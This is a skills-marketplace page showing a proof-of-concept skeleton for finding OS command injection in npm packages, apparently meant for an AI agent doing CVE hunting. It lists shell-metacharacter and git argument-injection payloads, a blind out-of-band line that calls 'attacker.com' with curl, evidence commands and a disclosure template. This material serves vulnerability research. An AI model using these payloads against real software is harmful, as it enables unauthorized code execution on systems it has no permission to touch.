Skip to content

ajtazer/heckit / skills/cve-hunting/command-injection

command-injection

Verified

Detect OS command injection via shell execution sinks where user-controlled input reaches system commands without proper sanitization.

FileKindSize
SKILL.mdskill md4.6 KB
references/false-positive-indicators.mdmarkdown1.5 KB
references/poc-skeleton.mdmarkdown2.0 KB
references/sinks.mdmarkdown3.0 KB

references/poc-skeleton.md

View on GitHub
# PoC Skeleton -- Command Injection

## Basic PoC

```js
/**
 * CVE-CANDIDATE: Command Injection in [package-name] [version]
 * CWE: CWE-78 (OS Command Injection)
 * CVSS: 9.8 CRITICAL
 */
const pkg = require('[package-name]');

// Payload: semicolon breaks out of intended command
const payload = '; id';

const result = pkg.vulnerableMethod(payload);
console.log('[+] Command injection result:', result);
```

## Injection Payloads

### Shell Metacharacter Injection
```
; id                          # Command separator (Unix)
| id                          # Pipe
|| id                         # OR
&& id                         # AND
$(id)                         # Command substitution
\nid                          # Newline injection
```

### Argument Injection
```
--help                        # Verify arg injection
--upload-pack=id              # Git-specific RCE
-c core.fsmonitor=id          # Git config injection
--exec=id                     # Various tools
```

### Blind Injection Detection
```
; sleep 5                     # Time-based
; curl http://attacker.com    # Out-of-band
; touch /tmp/cmdi-proof       # File creation proof
```

## Evidence Collection

```bash
id                            # uid, gid
whoami                        # username
hostname                      # hostname
touch /tmp/cve-poc-evidence   # file creation proof
```

## Reporting Template

```
## Vulnerability: Command Injection in [function]

**File**: `src/[file].js:LINE`
**Sink**: shell execution at line LINE
**Source**: User input via `[parameter]`
**Data flow**: [entry] -> [processing] -> shell(tainted_string)
**Sanitization**: [none / insufficient]

### Impact
Remote Code Execution via shell metacharacter injection.

### Reproduction
1. Install: `npm install [package]@[version]`
2. Run: `node poc.js`
3. Observe: system command output proves arbitrary execution

### Suggested Fix
- Replace shell execution with execFile/spawn using argument arrays
- Add `--` separator before user-controlled arguments
- Apply escapeshellarg() / shlex.quote() on all user input
```
slack-gif-creatoranthropics/skillsKnowledge and utilities for creating animated GIFs optimized for Slack. Provides constraints, validation tools, and animation concepts. Use when users request animated GIFs for Slack like "make me a GIF of X doing Y for Slack."Stars: 198kUpdated Claude CodeCodexVerifiedInstall
ponytailDietrichGebert/ponytailLazy senior dev mode for any coding task: the smallest change that fully solves it, and a reply a busy human understands in one read.Stars: 194kUpdated Claude CodeCodexVerifiedInstall
ponytail-debtDietrichGebert/ponytailHarvest every shortcut: comment into one debt ledger, so deferrals get tracked instead of forgotten. One-shot report.Stars: 194kUpdated Claude CodeCodexVerifiedInstall
ponytail-debtDietrichGebert/ponytailList every `shortcut:` comment (and older `ponytail:` ones) as a debt ledger. One-shot report, changes nothing. Use for "ponytail debt", "what did ponytail defer", "list the shortcuts", /ponytail-debt.Stars: 194kUpdated Claude CodeCodexVerifiedInstall